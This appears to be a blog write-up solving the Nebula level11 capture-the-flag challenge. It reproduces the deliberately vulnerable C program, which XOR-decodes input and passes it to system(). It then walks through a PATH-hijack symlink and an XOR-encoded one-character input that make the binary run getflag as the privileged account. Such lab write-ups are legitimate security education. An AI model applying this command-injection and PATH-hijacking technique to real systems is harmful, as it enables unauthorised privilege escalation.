Nebula level11

About
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both :-)
To do this level, log in as the level11 account with the password level11 . Files for this level can be found in /home/flag11.
 1#include <stdlib.h>
  2#include <unistd.h>
  3#include <string.h>
  4#include <sys/types.h>
  5#include <fcntl.h>
  6#include <stdio.h>
  7#include <sys/mman.h>
  8
  9/*
 10 * Return a random, non predictable file, and return the file descriptor for it.
 11 */
 12
 13int getrand(char **path)
 14{
 15  char *tmp;
 16  int pid;
 17  int fd;
 18
 19  srandom(time(NULL));
 20
 21  tmp = getenv("TEMP");
 22  pid = getpid();
 23  
 24  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 
 25    'A' + (random() % 26), '0' + (random() % 10), 
 26    'a' + (random() % 26), 'A' + (random() % 26),
 27    '0' + (random() % 10), 'a' + (random() % 26));
 28
 29  fd = open(*path, O_CREAT|O_RDWR, 0600);
 30  unlink(*path);
 31  return fd;
 32}
 33
 34void process(char *buffer, int length)
 35{
 36  unsigned int key;
 37  int i;
 38
 39  key = length & 0xff;
 40
 41  for(i = 0; i < length; i++) {
 42    buffer[i] ^= key;
 43    key -= buffer[i];
 44  }
 45
 46  system(buffer);
 47}
 48
 49#define CL "Content-Length: "
 50
 51int main(int argc, char **argv)
 52{
 53  char line[256];
 54  char buf[1024];
 55  char *mem;
 56  int length;
 57  int fd;
 58  char *path;
 59
 60  if(fgets(line, sizeof(line), stdin) == NULL) {
 61    errx(1, "reading from stdin");
 62  }
 63
 64  if(strncmp(line, CL, strlen(CL)) != 0) {
 65    errx(1, "invalid header");
 66  }
 67
 68  length = atoi(line + strlen(CL));
 69  
 70  if(length < sizeof(buf)) {
 71    if(fread(buf, length, 1, stdin) != length) {
 72      err(1, "fread length");
 73    }
 74    process(buf, length);
 75  } else {
 76    int blue = length;
 77    int pink;
 78
 79    fd = getrand(&path);
 80
 81    while(blue > 0) {
 82      printf("blue = %d, length = %d, ", blue, length);
 83
 84      pink = fread(buf, 1, sizeof(buf), stdin);
 85      printf("pink = %d\n", pink);
 86
 87      if(pink <= 0) {
 88        err(1, "fread fail(blue = %d, length = %d)", blue, length);
 89      }
 90      write(fd, buf, pink);
 91
 92      blue -= pink;
 93    }  
 94
 95    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
 96    if(mem == MAP_FAILED) {
 97      err(1, "mmap");
 98    }
 99    process(mem, length);
100  }
101
102}
103
Ah, what a month! First I did some traveling, then I’ve been busy with work & life; Finally I did some good ol’ slacking. But no more.

This level is quite easy to solve even though it looks complicated at first. Also, as noted, there are two ways to solve it however I will present only one of them (the key to the other one is the fact that getrand() function isn’t secure — from there one would need to craft proper input and I’m too tired to do that now).

After initial reading we can quickly conclude that the finish line lies in process() function. It’s also trivial to spot that the input is XOR-ed and remembering that XOR is a commutative operation we already know that we need to provide XOR-ed input (process() will XOR our XOR-ed input which will result in proper command).

OK, so how will we get to process() function? By executing first block in following ifstatement:

1
if (length < sizeof (buf)) {

In order to do that we need to fulfill couple of requirements:

First — we need to provide proper header (which is #defined as “Content-Length: “)
Second — we need to provide proper length (tricky part)
Third — we need to provide proper input

After meeting all these requirements we will be able to execute commands via system()function.

For the sake of completeness let’s walk from the beginning of main().

First if statement that we need to pass is:

1
if ( fgets (line, sizeof (line), stdin) == NULL) {

Which of course is passed by providing any input.

Our second if statement is header checking:

1
if ( strncmp (line, CL, strlen (CL)) != 0) {

Here we need to provide a valid header “Content-Length: ” along with the input length value(here’s the trick!). For now type “4″:

Content-Length: 4

After that silent assigning will take place:

1
length = atoi (line + strlen (CL));

And finally, we’re in the if statement that we wanted to be:

1
if (length < sizeof (buf)) {

Since 4 < 1024. We will focus on the first block.

So, we're already executing fread() function from if statement which is in our main ifstatement. And here be dragons kids. Go read fread() man page and you will know that this can’t possible work. The only accepted value in this case is 1 hence our input is limited to only 1 character.

Empirical proof:

level11@nebula:/home/flag11$ ./flag11
Content-Length: 4
ABCD
flag11: fread length: Success

level11@nebula:/home/flag11$ ./flag11
Content-Length: 1
a
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file

As you can see in first run we’ve got the fread() error (from line 72) however in second run we’ve got no error from flag11, what’s more we did get an error from shell. Nice.

So, we can execute command which is one character long. At first it looks limiting but it’s not — we can connect the dots from previous levels:

level11@nebula:~$ ln -s /bin/getflag a
level11@nebula:~$ export PATH=`echo $PATH`:/home/level11
level11@nebula:~$ cd /
level11@nebula:/$ a
getflag is executing on a non-flag account, this doesn't count

Voila! One character command working like a charm however we need to provide XOR-ed value of “a”. Lucky for us the XOR key depends on user input:

1
key = length & 0xff;

So for us it’s 0x1 & 0xff. I’m leaving writing trivial code to XOR “a” for the reader (but acute observer does not need to do so!).

level11@nebula:~$ /home/flag11/flag11
Content-Length: 1
`
You have successfully executed getflag on a target account

Funny fact: You may need to try it couple of times — the reason is that array buf is not zero-ed meaning it contains garbage which makes problems for C-like strings since they need to be NULL-terminated. (Quick fix — declare it as static.)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值